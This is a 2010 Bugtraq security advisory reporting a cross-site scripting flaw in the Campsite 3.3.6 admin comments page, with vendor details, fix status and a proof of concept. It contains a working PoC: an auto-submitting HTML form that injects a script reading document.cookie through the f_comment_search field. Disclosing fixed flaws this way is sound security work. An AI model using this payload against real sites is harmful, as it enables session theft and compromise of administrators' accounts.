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XSS vulnerability in Campsite
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: XSS vulnerability in Campsite
- From: advisory@xxxxxxxxxxx
- Date: Fri, 30 Jul 2010 16:23:03 +0200 (CEST)
Vulnerability ID: HTB22494
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_campsite.html
Product: Campsite
Vendor: Sourcefabric o.p.s ( http://www.sourcefabric.org/ )
Vulnerable Version: 3.3.6 and Probably Prior Versions
Vendor Notification: 16 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/admin/comments/index.php"
script to properly sanitize user-supplied input in "f_comment_search" variable.
Successful exploitation of this vulnerability could result in a compromise of
the application, theft of cookie-based authentication credentials, disclosure
or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is
available:
<form action="http://host/admin/comments/index.php" method="post" name="main" >
<input type="hidden" name="f_comment_per_page" value="20" >
<input type="hidden" name="f_comment_search"
value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="f_comment_order_by" value="datestamp">
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version